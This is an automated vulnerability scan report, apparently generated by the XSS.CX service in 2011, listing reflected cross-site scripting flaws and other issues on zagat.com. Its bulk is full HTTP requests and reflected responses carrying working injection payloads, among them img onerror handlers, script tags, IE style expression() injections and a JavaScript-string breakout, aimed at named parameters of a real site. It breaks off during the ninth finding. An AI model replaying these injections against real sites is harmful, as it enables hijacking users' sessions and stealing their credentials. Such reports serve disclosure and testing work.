XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, zagat.com

Report generated by XSS.CX at Tue Oct 18 20:13:01 CDT 2011.



Loading

1. Cross-site scripting (reflected)

1.1. http://www.zagat.com/c/stowe-vt [REST URL parameter 2]

1.2. http://www.zagat.com/r/seastar-restaurant-raw-bar-bellevue [name of an arbitrarily supplied request parameter]

1.3. http://www.zagat.com/search/map [text parameter]

1.4. http://www.zagat.com/search/map [where[id] parameter]

1.5. http://www.zagat.com/search/map [where[lat] parameter]

1.6. http://www.zagat.com/search/map [where[locale] parameter]

1.7. http://www.zagat.com/search/map [where[lon] parameter]

1.8. http://www.zagat.com/search/map [where[name] parameter]

1.9. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php [custom_kvs parameter]

1.10. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php [fmsection parameter]

1.11. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php [fmzone parameter]

1.12. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php [name of an arbitrarily supplied request parameter]

1.13. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php [size parameter]

2. Referer-dependent response

3. Cross-domain Referer leakage

3.1. http://www.zagat.com/locations/browse

3.2. http://www.zagat.com/search/map

3.3. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php

3.4. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php

4. Cross-domain script include

4.1. http://www.zagat.com/

4.2. http://www.zagat.com/c/stowe-vt

4.3. http://www.zagat.com/img/core/arrow_white_r_sm.gif

4.4. http://www.zagat.com/img/core/help/logo_zagat.gif

4.5. http://www.zagat.com/locations

4.6. http://www.zagat.com/locations/browse

4.7. http://www.zagat.com/mobile

4.8. http://www.zagat.com/r/seastar-restaurant-raw-bar-bellevue

4.9. http://www.zagat.com/search/map

4.10. http://www.zagat.com/shop

4.11. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php

4.12. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php

4.13. http://www.zagat.com/user/2697862/reviews

5. Cookie without HttpOnly flag set



1. Cross-site scripting (reflected)  next
There are 13 instances of this issue:

Issue background

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.


1.1. http://www.zagat.com/c/stowe-vt [REST URL parameter 2]  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /c/stowe-vt

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 29078"><img%20src%3da%20onerror%3dalert(1)>9e7916e0414 was submitted in the REST URL parameter 2. This input was echoed as 29078"><img src=a onerror=alert(1)>9e7916e0414 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /c/stowe-vt29078"><img%20src%3da%20onerror%3dalert(1)>9e7916e0414 HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://www.zagat.com/c/stowe-vt
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.6.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Flocations%2Fbrowse

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web02.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 01:04:26 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 35158
Date: Wed, 19 Oct 2011 01:04:28 GMT
X-Varnish: 483501369
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<input type="text" value="stowe, vt29078"><img src=a onerror=alert(1)>9e7916e0414" name="where[name]" maxlength="128"/>
...[SNIP]...

1.2. http://www.zagat.com/r/seastar-restaurant-raw-bar-bellevue [name of an arbitrarily supplied request parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /r/seastar-restaurant-raw-bar-bellevue

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 15da7"><script>alert(1)</script>1a715c4d410 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /r/seastar-restaurant-raw-bar-bellevue?15da7"><script>alert(1)</script>1a715c4d410=1 HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.zagat.com/search/map?text=sushi&where[name]=bellevue%2C%20wa&where[id]=&where[lat]=47.610377&where[lon]=-122.2006786&where[locale]=Seattle&where[radius]=0
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; __qseg=Q_D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews; zLAP=%2Fuser%2F2697862%2Freviews; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.12.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web01.zagat.com
X-Varnish: 483500877
Vary: Cookie
Vary: Accept-Encoding
Cache-Control: no-cache, no-store, must-revalidate
X-Cache: MISS
Content-Type: text/html; charset=utf-8
Date: Wed, 19 Oct 2011 01:03:57 GMT
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Via: 1.1 varnish
Connection: keep-alive
Last-Modified: Wed, 19 Oct 2011 01:03:55 +0000
X-Powered-By: PHP/5.3.8
X-ESI: 1
Age: 0
Content-Length: 54302

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<a href="/r/n/seastar-restaurant-raw-bar-bellevue?15da7"><script>alert(1)</script>1a715c4d410=1/reviews#tab-anchor">
...[SNIP]...

1.3. http://www.zagat.com/search/map [text parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /search/map

Issue detail

The value of the text request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a71c1"style%3d"x%3aexpression(alert(1))"5f0e3dc800e was submitted in the text parameter. This input was echoed as a71c1"style="x:expression(alert(1))"5f0e3dc800e in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /search/map?text=sushia71c1"style%3d"x%3aexpression(alert(1))"5f0e3dc800e&where[name]=bellevue%2C%20wa&where[id]=&where[lat]=47.610377&where[lon]=-122.2006786&where[locale]=Seattle&where[radius]=0 HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Fc%2Fstowe-vt; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.10.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qseg=Q_D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web02.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 01:03:35 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 24075
Date: Wed, 19 Oct 2011 01:03:36 GMT
X-Varnish: 483500538
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<meta name="description" content="Find restaurant reviews and ratings for sushia71c1"style="x:expression(alert(1))"5f0e3dc800e bellevue, wa. Browse matching restaurants on ZAGAT.com." />
...[SNIP]...

1.4. http://www.zagat.com/search/map [where[id] parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /search/map

Issue detail

The value of the where[id] request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload cc15f"style%3d"x%3aexpression(alert(1))"7331445723a was submitted in the where[id] parameter. This input was echoed as cc15f"style="x:expression(alert(1))"7331445723a in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /search/map?text=sushi&where[name]=bellevue%2C%20wa&where[id]=cc15f"style%3d"x%3aexpression(alert(1))"7331445723a&where[lat]=47.610377&where[lon]=-122.2006786&where[locale]=Seattle&where[radius]=0 HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Fc%2Fstowe-vt; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.10.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qseg=Q_D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web01.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 01:06:16 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 51508
Date: Wed, 19 Oct 2011 01:06:17 GMT
X-Varnish: 483503360
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<input id="siteSearch_locationID" name="where[id]" type="hidden" value="cc15f"style="x:expression(alert(1))"7331445723a" />
...[SNIP]...

1.5. http://www.zagat.com/search/map [where[lat] parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /search/map

Issue detail

The value of the where[lat] request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 10039"style%3d"x%3aexpression(alert(1))"afa1b73beb was submitted in the where[lat] parameter. This input was echoed as 10039"style="x:expression(alert(1))"afa1b73beb in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /search/map?text=sushi&where[name]=bellevue%2C%20wa&where[id]=&where[lat]=47.61037710039"style%3d"x%3aexpression(alert(1))"afa1b73beb&where[lon]=-122.2006786&where[locale]=Seattle&where[radius]=0 HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: */*
Referer: http://www.zagat.com/search/map?text=sushi&where[name]=bellevue%2C%20wa&where[id]=&where[lat]=47.610377&where[lon]=-122.2006786&where[locale]=Seattle&where[radius]=0
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.10.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qseg=Q_D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews; zLAP=%2Fuser%2F2697862%2Freviews

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web01.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 01:07:27 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 23934
Date: Wed, 19 Oct 2011 01:07:28 GMT
X-Varnish: 782419929
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<input id="siteSearch_locationLat" type="hidden" value="47.61037710039"style="x:expression(alert(1))"afa1b73beb" name="where[lat]" />
...[SNIP]...

1.6. http://www.zagat.com/search/map [where[locale] parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /search/map

Issue detail

The value of the where[locale] request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a0708"style%3d"x%3aexpression(alert(1))"ad8bf5693f was submitted in the where[locale] parameter. This input was echoed as a0708"style="x:expression(alert(1))"ad8bf5693f in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /search/map?text=sushi&where[name]=bellevue%2C%20wa&where[id]=&where[lat]=47.610377&where[lon]=-122.2006786&where[locale]=Seattlea0708"style%3d"x%3aexpression(alert(1))"ad8bf5693f&where[radius]=0 HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Fc%2Fstowe-vt; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.10.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qseg=Q_D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web03.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 01:09:38 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 51465
Date: Wed, 19 Oct 2011 01:09:38 GMT
X-Varnish: 483506079
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<input id="siteSearch_locationLocale" type="hidden" value="Seattlea0708"style="x:expression(alert(1))"ad8bf5693f" name="where[locale]" />
...[SNIP]...

1.7. http://www.zagat.com/search/map [where[lon] parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /search/map

Issue detail

The value of the where[lon] request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1d3d5"style%3d"x%3aexpression(alert(1))"4ff2a863091 was submitted in the where[lon] parameter. This input was echoed as 1d3d5"style="x:expression(alert(1))"4ff2a863091 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /search/map?text=sushi&where[name]=bellevue%2C%20wa&where[id]=&where[lat]=47.610377&where[lon]=-122.20067861d3d5"style%3d"x%3aexpression(alert(1))"4ff2a863091&where[locale]=Seattle&where[radius]=0 HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Fc%2Fstowe-vt; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.10.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qseg=Q_D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web01.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 01:08:33 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 23937
Date: Wed, 19 Oct 2011 01:08:33 GMT
X-Varnish: 782420911
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<input id="siteSearch_locationLng" type="hidden" value="-122.20067861d3d5"style="x:expression(alert(1))"4ff2a863091" name="where[lon]" />
...[SNIP]...

1.8. http://www.zagat.com/search/map [where[name] parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /search/map

Issue detail

The value of the where[name] request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68faf"style%3d"x%3aexpression(alert(1))"d6a98a37066 was submitted in the where[name] parameter. This input was echoed as 68faf"style="x:expression(alert(1))"d6a98a37066 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

Request

GET /search/map?text=sushi&where[name]=bellevue%2C%20wa68faf"style%3d"x%3aexpression(alert(1))"d6a98a37066&where[id]=&where[lat]=47.610377&where[lon]=-122.2006786&where[locale]=Seattle&where[radius]=0 HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Fc%2Fstowe-vt; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.10.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __qseg=Q_D; __csref=http%3A%2F%2Fwww.zagat.com%2Fuser%2F2697862%2Freviews

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web01.zagat.com
Cache-Control: public, max-age=3600
Content-Type: text/html; charset=utf-8
Expires: Sun, 11 Mar 1984 12:00:00 GMT
Last-Modified: Wed, 19 Oct 2011 01:04:58 +0000
X-Powered-By: PHP/5.3.8
Content-Length: 51639
Date: Wed, 19 Oct 2011 01:05:00 GMT
X-Varnish: 483501999
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Cache: MISS
Vary: Cookie

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" >
<head>
<m
...[SNIP]...
<meta name="description" content="Find restaurant reviews and ratings for sushi bellevue, wa68faf"style="x:expression(alert(1))"d6a98a37066. Browse 11 matching restaurants on ZAGAT.com." />
...[SNIP]...

1.9. http://www.zagat.com/sites/all/modules/features/zagat_ads/iframe.php [custom_kvs parameter]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   http://www.zagat.com
Path:   /sites/all/modules/features/zagat_ads/iframe.php

Issue detail

The value of the custom_kvs request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bef98"%3balert(1)//661d16cf7ae was submitted in the custom_kvs parameter. This input was echoed as bef98";alert(1)//661d16cf7ae in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.

Request

GET /sites/all/modules/features/zagat_ads/iframe.php?size=962x60&fmzone=4477&fmsection=homepage&custom_kvs=user_type%3Danonbef98"%3balert(1)//661d16cf7ae HTTP/1.1
Host: www.zagat.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.835.202 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Referer: http://www.zagat.com/c/stowe-vt
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-1124495082-1318985956938; ZL=burlington; ZLOC=%5B%7B%22N%22%3A%22Stowe%2C%20VT%22%2C%22LCL%22%3A%22Burlington%22%2C%22LCLF%22%3A%22burlington%22%2C%22LL%22%3A%2244.475066%2C-72.702251%22%2C%22R%22%3A%220%22%7D%5D; zLAP=%2Flocations%2Fbrowse; __utmx=62981284.; __utmxx=62981284.; __utma=62981284.1582785057.1318985958.1318985958.1318985958.1; __utmb=62981284.8.10.1318985958; __utmc=62981284; __utmz=62981284.1318985958.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (Red Hat)
X-Web-Head: web04.zagat.com
Content-Type: text/html; charset=UTF-8
X-Powered-By: PHP/5.3.8
Content-Length: 693
Date: Wed, 19 Oct 2011 01:00:39 GMT
X-Varnish: 782412949
Age: 0
Via: 1.1 varnish
Connection: keep-alive
